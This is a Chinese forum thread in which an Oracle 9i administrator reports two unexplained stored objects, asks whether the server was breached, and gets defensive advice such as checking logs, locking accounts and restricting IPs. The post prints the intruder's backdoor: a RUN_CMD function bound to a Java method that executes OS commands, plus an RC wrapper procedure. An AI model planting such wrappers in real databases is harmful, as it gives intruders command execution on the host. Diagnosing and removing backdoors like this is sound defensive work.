我服务器上的oracle9i莫名其妙得多出了两个存储过程,是不是被入侵了其中多了一个functioncreate or replace function RUN_CMD(p_cmd in varchar2) return number
as
language java
name 'Util.RunThis(java.lang.String) return integer';
一个procedures
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
服务器oracle是被人入侵了吗? 如何防范呢?

解决方案 »

  1.   

    也可以先看看什么时候建立的
    select * from dba_objects where object_name = 'RC'然后根据大致的时间,查一查你的listener.log大致时间前有没有外部ip连接的信息
      

  2.   

    主要是管理好账号和权限哟,同时要加强OS的安全管理,如果已经入侵了OS的话,要拿到你的ORacle也是小菜了。以前8i的时候,好像听说过有tns的漏洞,不过后来的版本没有听说叻。
      

  3.   

    07-11月-2009 00:20:39 * (CONNECT_DATA=(SID=ORA92I)(CID=(PROGRAM=)(HOST=__jdbc__)(USER=))) * (ADDRESS=(PROTOCOL=tcp)(HOST=61.188.38.204)(PORT=2219)) * establish * ORA92I * 0
    07-11月-2009 00:20:41 * (CONNECT_DATA=(SID=ORA92I)(CID=(PROGRAM=)(HOST=__jdbc__)(USER=))) * (ADDRESS=(PROTOCOL=tcp)(HOST=61.188.38.204)(PORT=2250)) * establish * ORA92I * 0这段期间不断有  61.188.38.204 ip 入侵有什么办法搞呢?
      

  4.   

    看看user是用那个用户登录的
    将该用户锁定
    alter user XXX account lock;
      

  5.   


    如果确实这个ip是不是内部人使用的话可以通过配置sqlnet.ora来做全局的ip限制。或者是profile来限制某个用户, 记得不清楚了,你可以查看这两个方法。
      

  6.   


    记错了,刚才查了一下profile,好像没有控制。只能用sqlnet.ora来控制叻。
      

  7.   


    因为 开发的电脑上 pl/sql需要连接服务器上的数据库,所有就开放了服务器上面的oracle
      

  8.   


    这怎么看呢?我怀疑是dbsnmp 我当初没有修改原始密码